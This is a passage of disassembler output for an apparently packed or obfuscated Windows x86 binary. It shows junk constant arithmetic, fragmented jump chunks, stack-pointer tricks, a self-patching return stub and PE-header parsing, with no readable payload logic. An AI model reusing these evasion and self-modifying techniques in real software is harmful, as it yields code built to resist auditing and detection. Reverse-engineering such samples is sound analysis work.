		jnz	loc_43806D
		jmp	loc_4479D7
; ---------------------------------------------------------------------------

loc_44359D:				; CODE XREF: y22d6.y.:00448DA6j
		jge	loc_438803
		jo	loc_440533
		shl	edx, 3

loc_4435AC:				; CODE XREF: y22d6.y.:loc_447971j
		add	edx, 0B7A0A07Fh
		jmp	loc_43969C
; ---------------------------------------------------------------------------

loc_4435B7:				; CODE XREF: sub_4432B8+Cj
		pop	ebp
		mov	eax, ds:dword_4413AC

loc_4435BE:				; CODE XREF: sub_43F750:loc_44A7DEj
		or	eax, eax
		jnz	loc_443E28
		jmp	loc_43D020
sub_4432B8	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_270. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB31

loc_4435CC:				; CODE XREF: sub_43AB31+A7DBj
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_43AB31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D11

loc_4435D1:				; CODE XREF: sub_440D11+16j
		jmp	loc_44638B
; END OF FUNCTION CHUNK	FOR sub_440D11

; =============== S U B	R O U T	I N E =======================================



sub_4435D6	proc near		; CODE XREF: y22d6.y.:loc_43E424p
					; sub_43E7D1+4p ...

; FUNCTION CHUNK AT 0043AF89 SIZE 0000000E BYTES

		push	77D56175h
		pop	eax
		or	eax, 91B7F91h
		call	sub_43E602

loc_4435E7:				; CODE XREF: sub_44529A:loc_4405A2j
		jnz	loc_43AF89

loc_4435ED:				; CODE XREF: sub_441C04-9522j
		jmp	nullsub_62
sub_4435D6	endp

; ---------------------------------------------------------------------------
		rol	edi, 1Fh
		or	edi, 781B97DFh
		jmp	loc_43AF7B
; ---------------------------------------------------------------------------

loc_443600:				; CODE XREF: y22d6.y.:0043FA76j
		mov	byte ptr [ebx],	87h
		push	offset sub_44DF73
		jmp	locret_44A386
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_44360D:				; CODE XREF: sub_441F08:loc_446FD5j
		jz	loc_440899
		jmp	loc_441BEE
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------

locret_443618:				; CODE XREF: y22d6.y.:0044118Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E15A

loc_443619:				; CODE XREF: sub_43E15A:loc_43E160j
		pop	edx
		and	edx, 0D0BB3DCBh
		sub	edx, 0C1556B28h
		add	edx, 70FF2156h
		popf
		jmp	loc_44273F
; END OF FUNCTION CHUNK	FOR sub_43E15A
; ---------------------------------------------------------------------------
		mov	eax, 24CC2B1h
		call	sub_43CA1A
		mov	ds:dword_41E19C, eax
		lea	eax, nullsub_370
		jmp	loc_4455E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44364E	proc near		; CODE XREF: sub_439C96:loc_440310p
					; y22d6.y.:004462BEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438681 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A344 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043A5FA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E6E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441834 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004436F1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C069 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	eax, [esp-4+arg_0]
		mov	edx, eax
		push	edx
		push	76914675h
		pop	edx
		xor	edx, 395DCCD8h
		jmp	loc_43A5FA
sub_44364E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_443669:				; CODE XREF: sub_439051:loc_4488CDj
		and	esi, 76E9968h
		add	esi, 97004D0Ah

loc_443675:				; CODE XREF: sub_44B17B:loc_440A1Dj
					; sub_43B252:loc_4415F6j
		xor	eax, esi
		pop	esi
		sub	eax, 0F84D6AB7h
		jmp	loc_43F655
; ---------------------------------------------------------------------------

loc_443683:				; CODE XREF: sub_439051j
		mov	eax, ds:dword_43DF48
		call	sub_44156E

loc_44368E:				; CODE XREF: sub_449E26+14j
		jmp	sub_44E2B6
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_443693:				; CODE XREF: sub_44AEDA-3801j
		pop	edx
		sub	edx, 14AEC0B0h
		add	edx, 0DC64D0A6h
		xor	edx, 4F1626A7h
		jmp	loc_441B85
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_4436AB:				; CODE XREF: y22d6.y.:00447815j
		mov	eax, 0CE6B079Ah
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_4436B0:				; CODE XREF: sub_43B09B:loc_440F52j
		call	sub_43CA1A
		push	ecx
		push	33D5D6C7h
		pop	ecx
		rol	ecx, 1Ch
		jmp	loc_44AA19
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_4436C4:				; DATA XREF: sub_43D025+CEECo
		mov	ecx, [ecx]
		call	sub_444B7C
; START	OF FUNCTION CHUNK FOR sub_44C322

loc_4436CB:				; CODE XREF: sub_44C322+1Bj
		jmp	loc_446136
; END OF FUNCTION CHUNK	FOR sub_44C322
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_4436D1:				; CODE XREF: sub_44B1D2+12j
		jmp	loc_446F66
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_4436D6:				; CODE XREF: sub_444581-530Fj
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_444581

; =============== S U B	R O U T	I N E =======================================



sub_4436DB	proc near		; CODE XREF: y22d6.y.:0043823Aj
					; sub_43B01D:loc_43B02Bp

; FUNCTION CHUNK AT 0043B4F2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00447AD4 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, ds:dword_441974
		call	sub_4480DE
		mov	esp, ebp
		pop	ebp

loc_4436EC:				; CODE XREF: y22d6.y.:loc_448C9Dj
		jmp	loc_447AD4
sub_4436DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_4436F1:				; CODE XREF: sub_44364E:loc_44C06Fj
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	0
		jmp	loc_441834
; END OF FUNCTION CHUNK	FOR sub_44364E

; =============== S U B	R O U T	I N E =======================================



sub_44370B	proc near		; CODE XREF: y22d6.y.:0043E2C4j
					; sub_448EB6:loc_44524Fp

; FUNCTION CHUNK AT 0044BA54 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_44D293
		push	eax
		jmp	loc_44BA54
sub_44370B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44371A	proc near		; CODE XREF: sub_43AC88j

; FUNCTION CHUNK AT 00438031 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A446 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043B3A6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D75F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D76F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442586 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004449F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445BC7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449C58 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A80E SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_445BC7
sub_44371A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_258. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443726:				; CODE XREF: y22d6.y.:00444C60j
		jmp	loc_445B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_44372B:				; CODE XREF: sub_43E86C-4F7Cj
		add	eax, 4
		mov	ebx, [eax]
		add	eax, 4
		mov	edi, [eax]
		push	edi
		push	0DB7D4244h
		pop	edi
		or	edi, 1AF2721Ch
		jmp	loc_43DC0F
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------

loc_443747:				; CODE XREF: y22d6.y.:0043AA58j
		xchg	edx, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_44374A	proc near		; CODE XREF: sub_44E33C+Cp

; FUNCTION CHUNK AT 004375CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440178 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440908 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004424BA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00442888 SIZE 0000000C BYTES

		xchg	esi, [esp+0]
		pop	esi
		or	eax, eax
		jnz	loc_448E78
		jmp	loc_440178
sub_44374A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44375B:				; CODE XREF: y22d6.y.:loc_439208j
					; y22d6.y.:00439214j
		and	edx, 0EF08D314h
		add	edx, 8041CE38h
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_331
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_331

; =============== S U B	R O U T	I N E =======================================



sub_443778	proc near		; CODE XREF: sub_40FA83+47p
					; y22d6.y.:0044031Aj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043881F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043CD16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440320 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004407CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004459C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449942 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A334 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esi
		jmp	loc_43CD16
sub_443778	endp

; ---------------------------------------------------------------------------

loc_443780:				; CODE XREF: y22d6.y.:00438EABj
		test	ebx, edi
		jmp	loc_4371D1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_328. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_443788:				; CODE XREF: sub_44B17B-98FEj
		jmp	nullsub_167
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF56

loc_44378D:				; CODE XREF: sub_43DF56+Bj
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_43DF56
; ---------------------------------------------------------------------------

loc_443792:				; CODE XREF: y22d6.y.:0043D1DEj
		jmp	loc_43AA38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_443797:				; CODE XREF: sub_43E81B+F824j
		jnz	loc_43B74E
		jmp	loc_44D4E7
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
		jmp	ds:off_41E098
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_4437A8:				; CODE XREF: sub_44313A-AF4Fj
					; sub_44A0A7:loc_440C8Cj ...
		jnb	loc_4381F0
		pop	edx
		mov	eax, [esp-10h+arg_C]
		push	ecx
		jmp	loc_44977B
; END OF FUNCTION CHUNK	FOR sub_44313A

; =============== S U B	R O U T	I N E =======================================



sub_4437B8	proc near		; DATA XREF: y22d6.y.:loc_44BB37o
		add	esi, 0CDBCAE4Bh
		xchg	esi, [esp+0]
		jmp	loc_4382EE
sub_4437B8	endp

; ---------------------------------------------------------------------------

loc_4437C6:				; CODE XREF: y22d6.y.:loc_4383B5j
					; y22d6.y.:0043A4DFj
		call	sub_445629

loc_4437CB:				; DATA XREF: y22d6.y.:004474D0o
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_442058
		jmp	loc_43C742
; ---------------------------------------------------------------------------

loc_4437DA:				; DATA XREF: sub_44C8BF+9o
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44B404
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_44E32A
; ---------------------------------------------------------------------------

loc_4437F9:				; DATA XREF: y22d6.y.:0043F7BEo
		push	edi
; START	OF FUNCTION CHUNK FOR sub_44C222

loc_4437FA:				; CODE XREF: sub_44C222:loc_447067j
		call	sub_4424AC
; END OF FUNCTION CHUNK	FOR sub_44C222
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_4437FF:				; CODE XREF: sub_44B3C9+7j
		jmp	loc_43B37F
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394F3

loc_443804:				; CODE XREF: sub_4394F3+19j
		jmp	loc_43D4D4
; END OF FUNCTION CHUNK	FOR sub_4394F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B10

loc_443809:				; CODE XREF: sub_437B10+14j
		jl	loc_43A462

loc_44380F:				; CODE XREF: y22d6.y.:00444E81j
		jmp	loc_4458B7
; END OF FUNCTION CHUNK	FOR sub_437B10
; ---------------------------------------------------------------------------
		xor	ebx, ecx
		jmp	loc_43A460
; ---------------------------------------------------------------------------

loc_44381B:				; DATA XREF: sub_443778-3452o
		pop	edx
		mov	eax, [esp]
		push	edx
		push	edx
		push	4CEB7B6Dh
		pop	edx
		jmp	loc_4459D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_44382C:				; CODE XREF: sub_43C712-4AAFj
		xor	ebp, 49D7D83h
		or	ebp, 0B515FA31h
		mov	ebp, [edi]
		jmp	loc_440B05
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44383F:				; CODE XREF: sub_448EB6:loc_43B623j
					; sub_448EB6-6A91j
		call	sub_43760A
		push	9C8BDB28h
		pop	edx
		rol	edx, 0Fh
		and	edx, 0AD31353Dh
		add	edx, 6AA3BDCAh
		call	sub_44D293
		push	offset loc_448F77
		jmp	loc_449264
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		jmp	ds:off_41E208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB7

loc_44386E:				; CODE XREF: sub_44CDB7-B07Fj
		jmp	loc_43CD4D
; END OF FUNCTION CHUNK	FOR sub_44CDB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_443873:				; CODE XREF: sub_43F35E+Ej
		jmp	loc_44DE68
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_443878:				; CODE XREF: y22d6.y.:0043849Aj
					; sub_43872E+65AAj ...
		pop	edx
		js	loc_43A8C8
		mov	eax, [esp+0]
		push	edx
		call	sub_438F17
		mov	eax, 649E33C4h
		jmp	loc_44182F
; END OF FUNCTION CHUNK	FOR sub_43872E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_368. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	edi, [eax]
		jmp	sub_449A8B
; ---------------------------------------------------------------------------
		jns	loc_437D98
		shl	edi, 7
		jmp	sub_44B144

; =============== S U B	R O U T	I N E =======================================



sub_4438A8	proc near		; CODE XREF: y22d6.y.:004426E5j
					; sub_439A90:loc_4474C0p
		xchg	edi, [esp+0]
		pop	edi
		push	6781B43h
		pop	eax
		add	eax, 6A671BE0h
		xor	eax, 0CCB9AC92h
		push	offset loc_43D228
		jmp	nullsub_65
sub_4438A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_4438C8:				; CODE XREF: sub_439F5A-28AEj
					; y22d6.y.:004376C2j
		rol	ecx, 10h
		or	ecx, 1AD154F4h
		add	ecx, 0FD5FADACh
		add	ecx, ebp
		add	ecx, 23CAF25Ch
		mov	ecx, [ecx]
		jmp	loc_4380C3
; END OF FUNCTION CHUNK	FOR sub_439F5A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D16D

loc_4438E7:				; CODE XREF: sub_43D16D+Ej
		jmp	sub_441651
; END OF FUNCTION CHUNK	FOR sub_43D16D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_4438EC:				; CODE XREF: sub_4416F3:loc_441D27j
		mov	ecx, edi
		pop	edi
		add	ecx, 3DCA3294h
		sub	ecx, 1042DD12h
		js	loc_43ED98

loc_443901:				; CODE XREF: sub_43B167+9j
		jmp	sub_44E1BD
; END OF FUNCTION CHUNK	FOR sub_4416F3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443906	proc near		; DATA XREF: sub_44ABDD-11636o
		xchg	ecx, [esp+0]
		mov	ebp, esp
		push	offset loc_43876A
		jmp	loc_449017
sub_443906	endp


; =============== S U B	R O U T	I N E =======================================



sub_443915	proc near		; DATA XREF: y22d6.y.:loc_441187o
		add	edx, 0EDF32D9Eh
		xchg	edx, [esp+0]
		jmp	sub_43EF0B
sub_443915	endp

; ---------------------------------------------------------------------------

loc_443923:				; CODE XREF: y22d6.y.:loc_437519j
		lea	eax, sub_44D3B1
		push	offset loc_44AD72
		jmp	locret_44244F
; ---------------------------------------------------------------------------

loc_443933:				; DATA XREF: sub_43EF0B-2383o
		xchg	edx, [esp]
		push	edi
		push	5E0E9575h
		pop	edi
		and	edi, 0E1C50381h
		jmp	loc_44A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_443948:				; CODE XREF: sub_4432B8-BD64j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_44394A:				; CODE XREF: sub_4449FA-4349j
		jmp	sub_44ABDD
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D5FE

loc_44394F:				; CODE XREF: sub_43D5FE+5j
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_43D5FE

; =============== S U B	R O U T	I N E =======================================



sub_443954	proc near		; CODE XREF: sub_43D025-2F7Fp
					; y22d6.y.:0043E588p ...
		jz	sub_448B90
		push	offset sub_448B71
		jmp	nullsub_67
sub_443954	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_443964:				; CODE XREF: sub_4431CD+17EEj
		cmp	esi, eax
		jmp	loc_4421FB
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44396B:				; CODE XREF: sub_444427-5566j
		jl	loc_4482ED
		sub	ebx, 0C6C82284h
		jmp	loc_44250C
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_44397C:				; CODE XREF: sub_43AF5B:loc_444F5Aj
		jz	loc_437CBD
		xor	ebp, ecx
		jmp	loc_442F8D
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_443989:				; CODE XREF: sub_43F422+D1EFj
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		xor	[ebp-8], eax
		jmp	loc_43B6A0
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------
		add	eax, 10E14CD3h
		jmp	sub_442DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_4439A5:				; CODE XREF: sub_43AD2F+E6E6j
		mov	ecx, 0B302232Ah
		jno	loc_44A839
		jmp	loc_4373C9
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_4439B5:				; CODE XREF: sub_43FFE2:loc_44AE9Bj
		mov	edx, [edx]
		js	loc_440E27
		sub	edx, eax
		mov	ecx, [ebp-4]
		mov	eax, 1
		shl	eax, cl
		jmp	loc_440081
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		push	0B181DE39h
		pop	eax
		add	eax, 0A04EDE89h
		and	eax, 61BEEB13h
		xor	eax, 0E225906Bh
		add	eax, 0FD6A0CF1h
		call	sub_444581
		call	sub_43DD78

loc_4439F6:				; CODE XREF: y22d6.y.:0044E165j
		jmp	loc_44C729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404D1

loc_4439FB:				; CODE XREF: sub_4404D1+Fj
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_4404DA
		jmp	loc_44CFCA
; END OF FUNCTION CHUNK	FOR sub_4404D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_443A14:				; CODE XREF: sub_43704E:loc_44C2E5j
		pop	ebx
		rol	ebx, 1Bh
		or	ebx, 0D288DBFFh
		cmp	ebx, 495DACD5h
		jmp	loc_44455C
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463CE

loc_443A29:				; CODE XREF: sub_4463CE:loc_4463E0j
		mov	eax, edx
		nop
		mov	eax, [esp+0]
		call	sub_4480DE
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_4463CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441191

loc_443A39:				; CODE XREF: sub_441191+5029j
		ror	eax, 1
		sub	eax, 23AC822Fh
		ror	eax, 0Eh
		jmp	loc_440745
; END OF FUNCTION CHUNK	FOR sub_441191
; ---------------------------------------------------------------------------

loc_443A49:				; CODE XREF: y22d6.y.:004451D3j
		pushf
		cmp	ebx, eax
		jmp	loc_43D581
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443A52:				; CODE XREF: y22d6.y.:00444AF3j
		jmp	loc_44CAFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_443A57:				; CODE XREF: sub_43872E:loc_43A490j
		jmp	loc_439DCF
; END OF FUNCTION CHUNK	FOR sub_43872E

; =============== S U B	R O U T	I N E =======================================



sub_443A5C	proc near		; DATA XREF: sub_43CFF2:loc_445CCCo
		add	eax, esi
		xchg	ecx, [esp+0]
		mov	esi, ecx
		pop	ecx
		jmp	loc_443C0D
sub_443A5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_443A69:				; CODE XREF: sub_4452EE:loc_439A05j
					; sub_44B635j
		mov	eax, ds:dword_444394
		or	eax, eax
		jnz	loc_43708E
		jmp	loc_44B3C4
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_443A7C:				; CODE XREF: sub_43E5C2+F680j
		cmp	ebp, 61F13433h
		jmp	loc_44548F
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------

loc_443A87:				; DATA XREF: sub_43A28E+1188Do
		add	ebx, 0DC62341Bh
		xor	eax, ebx
		pop	ebx
		sub	eax, 2CE5B273h
		push	ecx
		jmp	loc_43C48D
; ---------------------------------------------------------------------------

loc_443A9C:				; CODE XREF: y22d6.y.:00437025j
		mov	eax, 0C7CC2482h

loc_443AA1:				; CODE XREF: y22d6.y.:loc_4453A4j
		call	sub_43CA1A
		push	ecx
		push	341767A1h
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_443AAD:				; CODE XREF: sub_43C7C1:loc_44BD3Cj
		or	ecx, 0B1884684h
		jmp	loc_4401F0
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438BEC

loc_443AB8:				; CODE XREF: y22d6.y.:loc_437E56j
					; sub_438BEC+92B9j
		mov	edx, [ebp+8]
		mov	[edx-8], eax

loc_443ABE:				; CODE XREF: sub_438BEC+D8Dj
					; sub_43B98D:loc_442215j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_4482B1
; END OF FUNCTION CHUNK	FOR sub_438BEC

; =============== S U B	R O U T	I N E =======================================



sub_443AC9	proc near		; DATA XREF: y22d6.y.:loc_448EACo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044554F SIZE 0000001A BYTES

		xchg	eax, [esp+0]
		mov	edx, eax
		push	eax
		push	30BA44F7h
		pop	eax
		sub	eax, 0D0C26907h
		jmp	loc_44554F
sub_443AC9	endp

; ---------------------------------------------------------------------------

loc_443AE0:				; CODE XREF: y22d6.y.:00438503j
		test	ebp, eax

loc_443AE2:				; CODE XREF: y22d6.y.:loc_44AF83j
		jmp	loc_438CF4
; ---------------------------------------------------------------------------

loc_443AE7:				; CODE XREF: y22d6.y.:00438675j
		ja	loc_43CAA8
		xchg	esi, [ebx]
		jmp	sub_43B878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_443AF4:				; CODE XREF: sub_44439D:loc_440667j
		jz	loc_445840
		jmp	loc_446170
; END OF FUNCTION CHUNK	FOR sub_44439D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443AFF	proc near		; DATA XREF: sub_4453AA+5o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043CC84 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004470FB SIZE 00000005 BYTES

		mov	ebp, esp
		push	ecx
		push	eax
		mov	eax, ecx
		jmp	loc_4470FB
sub_443AFF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_443B0A:				; CODE XREF: sub_44A095-C35Bj
		jnb	loc_43E060
		xchg	ecx, edx
		sbb	ebx, 921F18BEh
		not	ebp
		jmp	loc_44A7DE
; END OF FUNCTION CHUNK	FOR sub_44A095

; =============== S U B	R O U T	I N E =======================================



sub_443B1F	proc near		; DATA XREF: sub_4496E3+136o
		xchg	ebp, [esp+0]
		push	3502E52Eh
		pop	edx
		rol	edx, 17h
		sub	edx, 208C33AAh
		rol	edx, 10h
		add	edx, 0B27B7DEFh
		jmp	loc_440FC6
sub_443B1F	endp

; ---------------------------------------------------------------------------

loc_443B3F:				; CODE XREF: y22d6.y.:loc_440740j
		pop	eax
		jns	loc_44CC33
		mov	eax, [esp]
		push	edx
		push	eax
		mov	eax, esi
		xchg	eax, [esp]
		jmp	loc_440ECC

; =============== S U B	R O U T	I N E =======================================



sub_443B55	proc near		; CODE XREF: y22d6.y.:00442525j
					; y22d6.y.:00444ACDp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		mov	esi, ecx
		pop	ecx
		and	esi, 1AB06A0Bh
		rol	esi, 9
sub_443B55	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44633F

loc_443B68:				; CODE XREF: sub_44633F:loc_43DB40j
		jmp	loc_440763
; END OF FUNCTION CHUNK	FOR sub_44633F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_443B6E:				; CODE XREF: sub_4449FA+5AC9j
		jmp	loc_445444
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_443B73:				; CODE XREF: sub_43FAC6+5E1Ej
		jmp	loc_44DD14
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
		jmp	loc_44C695
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443B7E:				; CODE XREF: y22d6.y.:0044B464j
		cdq
		xchg	eax, ecx
		jmp	loc_44C542
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_260. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443B87:				; CODE XREF: y22d6.y.:0043E90Cj
		jno	loc_43DE86
		push	35719B1h
; START	OF FUNCTION CHUNK FOR sub_441030

loc_443B92:				; CODE XREF: sub_441030:loc_43E8EAj
